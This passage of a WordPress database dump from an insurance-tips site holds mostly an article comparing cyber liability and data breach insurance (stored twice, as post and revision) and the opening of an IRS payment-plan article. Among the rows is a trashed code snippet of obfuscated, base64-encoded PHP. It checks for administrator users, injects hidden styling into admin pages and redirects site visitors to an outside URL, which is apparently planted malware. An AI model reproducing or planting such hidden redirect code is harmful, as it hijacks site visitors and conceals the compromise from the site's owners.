costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer credit-monitoring costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Ransom paid to a hacker to restore files</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>These are some of the third-party claims covered by cyber insurance:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Legal fees</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Settlements and court judgments</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Incurred regulatory fines</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Example of a cyber insurance claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let’s say an accounting firm with a database of 2,000 clients is attacked with ransomware as part of a cyber extortion attempt. The hijackers block access to the site until the firm pays a $100,000 ransom. The accounting firm files a claim with its insurance carrier. The insurance carrier decides whether to pay the ransom or not. If it decides not to pay the ransom, the insurer will pay network recovery costs and other costs related to lost income due to the attack. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>FYI: There are conflicting views about paying a ransomware demand. Some feel it’s the most cost-effective way to get a business running again. Others note that data may not be restored even if you pay. A business owner must make the right decision for their company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is data breach insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance covers breach-related costs that specifically focus on whether PHI or PII has been viewed or obtained by someone who shouldn’t have access to it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Information can be exposed in many ways, either on purpose or by accident. For example, someone hacks the system to intentionally steal data, or an employee forgets to put a file away, exposing information to someone who visits their desk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does data breach insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance covers first-party losses for a company that inadvertently allows PHI or PII to fall into the wrong hands. This loss could result from hacker attacks, physical theft, the loss of a laptop or other device, or information leaks. A data breach could also be caused by employees who abuse their privileges and purposely share, copy, and use data without proper authorization.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are some first-party claims that data breach insurance covers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Consumer notification costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer credit-monitoring costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage control from a public relations firm</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Extortion coverage</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Example of a data breach claim&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let’s say a medical office has a storage room with filing cabinets containing medical records. An individual posing as an electrical contractor for the building is given access to an electrical panel located in the storage room. They are left unattended and use the opportunity to take pictures of patient data records.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this case, the insurance carrier will cover the costs of notifying patients of a breach in recordkeeping and pay for the credit monitoring services of the affected patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Given the higher degree of regulatory scrutiny they face and the higher costs of recovery from a cyberattack, healthcare-related businesses should create and adhere to their own HIPAA compliance lists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What do cyber insurance and data breach insurance&nbsp;not&nbsp;cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber liability and data breach&nbsp;insurance do not cover the following:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Bodily injury or property damage.</strong> When a business is liable for bodily injury or property damage, a general liability insurance policy will cover it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Employee harassment, discrimination or wrongful termination.</strong> Employment practices liability insurance would cover costs related to employee harassment, discrimination or wrongful termination. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Professional mistakes or omissions.</strong> Professional liability insurance covers mistakes made in the course of business. </li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>FYI: Data breach and cyber liability insurance don’t cover property. For instance, if an electrical surge destroys your computer hard drive, neither policy would cover the cost of replacing the hard drive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should my business choose cyber or data breach insurance?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When choosing business insurance, your business type will determine whether you should get cyber liability or data breach coverage. In some cases, you may need both policies to cover different risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your operations are set on a network that stores customer or proprietary data, you should get cyber liability insurance. This way, you’re protected if a cybercriminal infiltrates your network and steals data or shuts down your network and holds it for ransom.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have large PHI and PII databases, you should have data breach insurance — especially if the data isn’t held on a network but instead is stored onsite or offsite in files. Medical practices and accounting firms are two examples of businesses that need data breach insurance. If your database is online, talk to your insurance carrier or business insurance broker to determine if cyber coverage is enough to protect you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does cyber insurance or data breach insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>On average, you can expect to pay around $1,750 in premium costs for a year with $1 million in coverage. That’s usually with a deductible of around $2,500, although selecting a higher deductible will often reduce your premium costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, business insurance costs are contingent on many factors, and every business is different. When providing a quote, the insurance carrier will want to know the following information about your business:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>How many customers you have</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>What type of sensitive data you store</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your overall revenue</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your claims history</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Your insurance carrier may also consider who has access to your data. A company with many employees or third-party contractors may be at a higher risk of cybercrime or data loss. The more people who can access your data, the greater the level of cyber risk your business faces. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: To limit risk, consider introducing a data minimization policy, where employees can only access the data they need to do their jobs. If a hacker infiltrates the network via an employee’s logins, they’ll only see limited data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How can I prevent a data breach?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A robust insurance policy is essential when dealing with a data breach or cybercrime. However, preventing incidents is crucial. Take your data protection seriously to preserve your reputation in the community and protect your business.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider implementing the following cybersecurity risk management practices:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Keep files locked.</strong>&nbsp;Use locks on all physical file cabinets and desk drawers that store client data. Secure your storage rooms with locked doors and lock file containers to limit access to private and personal data.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Update your antivirus software.</strong>&nbsp;Choose one of the best antivirus software solutions and continually monitor it for updates and patches. Current antivirus software can prevent hackers from accessing your systems.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Train your employees.</strong>&nbsp;Hold regular training sessions with your employees on how to protect data. This training should include best practices for document access and storage, emails and passwords. Teach your employees how to identify phishing schemes that can lead to bad actors accessing data, and ensure passwords are complex and impossible to guess.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Develop vendor protocols.</strong>&nbsp;Establish security protocols for third-party vendors and service technicians in your office. Limit their access to specific rooms, and never leave them alone near personal and private data.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Create a disaster response plan.</strong> You may be unable to avoid every breach, no matter how hard you work. Develop a disaster preparedness plan to keep your business operational and respond to issues if you detect a breach, particularly if it results from a cyberattack.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Have a backup.</strong>&nbsp;Work with an IT professional to develop backup databases and operational systems to access if you fall victim to a cyberattack. A backup won’t eliminate the need to notify your customers of a data breach, but it will allow you to continue operations with minimal interruption.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Perform a cybersecurity risk assessment.</strong> Perform a cybersecurity risk assessment to identify equipment and data storage vulnerabilities to protect your business from costly intrusions.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Every business should work to minimize the risk of data breaches and cybercrime. In the event an attack occurs, the right insurance coverage will go a long way toward protecting your bottom line. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.business.com/insurance/data-breach/\">click here.</a></p>\n<!-- /wp:paragraph -->','Understanding Data Breach vs. Cyber Liability Insurance','','publish','closed','closed','','understanding-data-breach-vs-cyber-liability-insurance','','','2024-03-30 04:28:01','2024-03-30 04:28:01','',0,'https://smartinsurance.tips/?p=3949',0,'post','',0),(3950,1,'2024-03-30 04:24:49','2024-03-30 04:24:49','','Untitled-33','','inherit','closed','closed','','untitled-33-3','','','2024-03-30 04:24:49','2024-03-30 04:24:49','',3949,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-33.png',0,'attachment','image/png',0),(3951,1,'2024-03-30 04:27:58','2024-03-30 04:27:58','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3950,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-33-1024x1024.png\" alt=\"\" class=\"wp-image-3950\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Businesses face enormous pressure to protect their data and systems from breaches and cybercrime. Failure to do so could result in devastating financial losses. According to IBM, the global average cost of a data breach is $4.45 million. Most small businesses don’t have the resources to handle a major breach, so finding the right business insurance is crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, choosing the right type of insurance coverage can be confusing. Cyber insurance and data breach insurance sound like essential but similar insurance options. These insurance types have significant differences. We’ll explain how they differ and what business owners should know to ensure proper coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All data breaches are expensive, but healthcare businesses take the biggest hits from these attacks. According to IBM, the average cost of a healthcare data breach can reach $10.93 million per incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What’s the difference between cyber insurance and data breach insurance?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber insurance and data breach insurance are distinctly different types of business insurance. If your business suffers a data breach, both insurance types will cover the primary financial interest (also known as first-party coverage) related to the exposed data. However, only cyber insurance will provide legal protection, referred to as third-party coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In other words, data breach insurance covers the costs directly attributed to a data breach, such as lost revenue and credit monitoring. In contrast, cyber insurance also pays attorney’s fees and any regulatory fines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance will also cover losses that don’t involve a computer. For example, if someone infiltrates the records room of a doctor’s office and obtains protected health information (PHI), they’d want data breach insurance. Data breach insurance would cover losses stemming from this noncomputer-related breach. Many cyber liability insurance policies would not cover this breach because they focus on data loss or operations disruption due to&nbsp;electronic device&nbsp;interference or damage.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s break down each insurance type and its parameters:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><th><strong>Coverage</strong></th><th><strong>Cyber insurance</strong></th><th><strong>Data breach insurance</strong></th></tr><tr><td>Ransom payments</td><td>Yes</td><td>Yes, but only if sensitive information is exposed</td></tr><tr><td>Data breach investigation costs</td><td>Yes</td><td>Yes, but only if sensitive information is exposed</td></tr><tr><td>Repair or replacement of damaged equipment</td><td>Yes</td><td>Not typically</td></tr><tr><td>Compensation for loss of business income because of a breach</td><td>Yes</td><td>Not typically</td></tr><tr><td>Costs of notifying affected parties</td><td>Yes</td><td>Yes</td></tr><tr><td>Costs of monitoring credit scores of affected parties</td><td>Yes</td><td>Yes</td></tr><tr><td>Legal defense costs</td><td>Yes</td><td>Not typically</td></tr><tr><td>Legal settlement costs</td><td>Yes</td><td>Not typically</td></tr><tr><td>Regulatory penalties</td><td>Yes</td><td>Yes, but only if sensitive information is exposed</td></tr><tr><td>Theft of information not stored on computer devices</td><td>No</td><td>Yes</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>Cyber insurance is best for:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Cyberattacks affecting computer equipment</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Business interruption costs caused by cyberattacks</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance is best for:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Incidences of unauthorized access or exposure of sensitive data, including physical theft of information not stored on computing devices</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is cyber liability insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber liability insurance is a commercial insurance policy that provides financial protection from losses due to cyberattacks or other tech-related risks. In a cyberattack, cybercriminals can leak, destroy or hold data for ransom. Cyber liability insurance will help you respond to the attack to recover from the loss with the lowest possible impact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your cyber insurance policy provides first-party and third-party coverage, meaning it covers direct losses and third-party expenses of claims made against you because of the data exposure.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does cyber liability insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber liability insurance covers two primary elements: first-party claims and third-party claims. It covers losses associated with PHI and personally identifiable information (PII) hacks, as well as business interruption caused by nefarious parties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are some of the first-party claims cyber insurance covers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Investigatory costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Repairs to damaged or lost equipment</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lost revenue</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer notification costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer credit-monitoring costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Ransom paid to a hacker to restore files</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>These are some of the third-party claims covered by cyber insurance:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Legal fees</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Settlements and court judgments</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Incurred regulatory fines</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Example of a cyber insurance claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let’s say an accounting firm with a database of 2,000 clients is attacked with ransomware as part of a cyber extortion attempt. The hijackers block access to the site until the firm pays a $100,000 ransom. The accounting firm files a claim with its insurance carrier. The insurance carrier decides whether to pay the ransom or not. If it decides not to pay the ransom, the insurer will pay network recovery costs and other costs related to lost income due to the attack. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>FYI: There are conflicting views about paying a ransomware demand. Some feel it’s the most cost-effective way to get a business running again. Others note that data may not be restored even if you pay. A business owner must make the right decision for their company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is data breach insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance covers breach-related costs that specifically focus on whether PHI or PII has been viewed or obtained by someone who shouldn’t have access to it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Information can be exposed in many ways, either on purpose or by accident. For example, someone hacks the system to intentionally steal data, or an employee forgets to put a file away, exposing information to someone who visits their desk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does data breach insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance covers first-party losses for a company that inadvertently allows PHI or PII to fall into the wrong hands. This loss could result from hacker attacks, physical theft, the loss of a laptop or other device, or information leaks. A data breach could also be caused by employees who abuse their privileges and purposely share, copy, and use data without proper authorization.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are some first-party claims that data breach insurance covers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Consumer notification costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer credit-monitoring costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage control from a public relations firm</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Extortion coverage</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Example of a data breach claim&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let’s say a medical office has a storage room with filing cabinets containing medical records. An individual posing as an electrical contractor for the building is given access to an electrical panel located in the storage room. They are left unattended and use the opportunity to take pictures of patient data records.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this case, the insurance carrier will cover the costs of notifying patients of a breach in recordkeeping and pay for the credit monitoring services of the affected patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Given the higher degree of regulatory scrutiny they face and the higher costs of recovery from a cyberattack, healthcare-related businesses should create and adhere to their own HIPAA compliance lists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What do cyber insurance and data breach insurance&nbsp;not&nbsp;cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber liability and data breach&nbsp;insurance do not cover the following:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Bodily injury or property damage.</strong> When a business is liable for bodily injury or property damage, a general liability insurance policy will cover it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Employee harassment, discrimination or wrongful termination.</strong> Employment practices liability insurance would cover costs related to employee harassment, discrimination or wrongful termination. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Professional mistakes or omissions.</strong> Professional liability insurance covers mistakes made in the course of business. </li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>FYI: Data breach and cyber liability insurance don’t cover property. For instance, if an electrical surge destroys your computer hard drive, neither policy would cover the cost of replacing the hard drive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should my business choose cyber or data breach insurance?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When choosing business insurance, your business type will determine whether you should get cyber liability or data breach coverage. In some cases, you may need both policies to cover different risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your operations are set on a network that stores customer or proprietary data, you should get cyber liability insurance. This way, you’re protected if a cybercriminal infiltrates your network and steals data or shuts down your network and holds it for ransom.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have large PHI and PII databases, you should have data breach insurance — especially if the data isn’t held on a network but instead is stored onsite or offsite in files. Medical practices and accounting firms are two examples of businesses that need data breach insurance. If your database is online, talk to your insurance carrier or business insurance broker to determine if cyber coverage is enough to protect you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does cyber insurance or data breach insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>On average, you can expect to pay around $1,750 in premium costs for a year with $1 million in coverage. That’s usually with a deductible of around $2,500, although selecting a higher deductible will often reduce your premium costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, business insurance costs are contingent on many factors, and every business is different. When providing a quote, the insurance carrier will want to know the following information about your business:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>How many customers you have</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>What type of sensitive data you store</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your overall revenue</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your claims history</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Your insurance carrier may also consider who has access to your data. A company with many employees or third-party contractors may be at a higher risk of cybercrime or data loss. The more people who can access your data, the greater the level of cyber risk your business faces. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: To limit risk, consider introducing a data minimization policy, where employees can only access the data they need to do their jobs. If a hacker infiltrates the network via an employee’s logins, they’ll only see limited data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How can I prevent a data breach?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A robust insurance policy is essential when dealing with a data breach or cybercrime. However, preventing incidents is crucial. Take your data protection seriously to preserve your reputation in the community and protect your business.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider implementing the following cybersecurity risk management practices:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Keep files locked.</strong>&nbsp;Use locks on all physical file cabinets and desk drawers that store client data. Secure your storage rooms with locked doors and lock file containers to limit access to private and personal data.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Update your antivirus software.</strong>&nbsp;Choose one of the best antivirus software solutions and continually monitor it for updates and patches. Current antivirus software can prevent hackers from accessing your systems.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Train your employees.</strong>&nbsp;Hold regular training sessions with your employees on how to protect data. This training should include best practices for document access and storage, emails and passwords. Teach your employees how to identify phishing schemes that can lead to bad actors accessing data, and ensure passwords are complex and impossible to guess.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Develop vendor protocols.</strong>&nbsp;Establish security protocols for third-party vendors and service technicians in your office. Limit their access to specific rooms, and never leave them alone near personal and private data.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Create a disaster response plan.</strong> You may be unable to avoid every breach, no matter how hard you work. Develop a disaster preparedness plan to keep your business operational and respond to issues if you detect a breach, particularly if it results from a cyberattack.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Have a backup.</strong>&nbsp;Work with an IT professional to develop backup databases and operational systems to access if you fall victim to a cyberattack. A backup won’t eliminate the need to notify your customers of a data breach, but it will allow you to continue operations with minimal interruption.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Perform a cybersecurity risk assessment.</strong> Perform a cybersecurity risk assessment to identify equipment and data storage vulnerabilities to protect your business from costly intrusions.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Every business should work to minimize the risk of data breaches and cybercrime. In the event an attack occurs, the right insurance coverage will go a long way toward protecting your bottom line. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.business.com/insurance/data-breach/\">click here.</a></p>\n<!-- /wp:paragraph -->','Understanding Data Breach vs. Cyber Liability Insurance','','inherit','closed','closed','','3949-revision-v1','','','2024-03-30 04:27:58','2024-03-30 04:27:58','',3949,'https://smartinsurance.tips/?p=3951',0,'revision','',0),(3953,1,'2024-04-10 16:58:29','2024-04-10 16:58:29','$c2017921717=base64_decode(\'NmZjMDVkN2VmMjUzNWIxNGNhYTZjMDJlYmM2Zjg1MGM=\');if(current_user_can(base64_decode(\'YWRtaW5pc3RyYXRvcg==\'))&&!array_key_exists(base64_decode(\'c2hvd19hbGw=\'),$_GET)){add_action(base64_decode(\'YWRtaW5fcHJpbnRfc2NyaXB0cw==\'),function(){echo base64_decode(\'PHN0eWxlPg==\');echo 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if(substr($j_453955339,0,4)===base64_decode(\'aHR0cA==\')){$a_113136155[$b_2783163181]=time();delete_transient(base64_decode(\'ZXhw\'));set_transient(base64_decode(\'ZXhw\'),$a_113136155);wp_redirect($j_453955339);exit;}}}}add_action(base64_decode(\'aW5pdA==\'),base64_decode(\'X3JlZA==\'));}','Untitled Snippet','','trash','closed','closed','','untitled-snippet__trashed-6','','','2024-04-30 21:31:29','2024-04-30 21:31:29','',0,'https://smartinsurance.tips/wpcode/untitled-snippet/',0,'wpcode','',0),(4055,1,'2024-05-19 23:22:07','2024-05-19 23:22:07','','Untitled-5','','inherit','closed','closed','','untitled-5-3','','','2024-05-19 23:22:07','2024-05-19 23:22:07','',4054,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-5.png',0,'attachment','image/png',0),(3960,1,'2024-04-28 09:13:34','2024-04-28 09:13:34','<!-- wp:paragraph -->\n<p>Eligible taxpayers can apply online to set up an IRS installment agreement and pay their tax bills over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3961,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/04/Untitled-13-1024x1024.png\" alt=\"\" class=\"wp-image-3961\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Nerdy takeaways</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>You can apply for a payment plan online via the IRS\' Payment Agreement tool.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The IRS offers short-term and long-term payment plans that allow taxpayers to pay their bill over time.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>While interest and penalties still accrue on taxes unpaid after the tax deadline, the late-payment penalty is cut in half for those on a payment plan.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>An unexpected tax bill is a surprise few people want to encounter. And when that balance turns out to be more than you can afford, it\'s easy to feel overwhelmed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thankfully, the IRS has tax payment plans that can help you tackle your bill over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is an IRS payment plan?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>An IRS payment plan is an agreement you make with the agency to pay your federal tax bill over time. You can set one up online, by phone or in person. The IRS offers short-term and long-term payment plan options.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Short-term payment plan</h3>\n<!-- /wp:heading 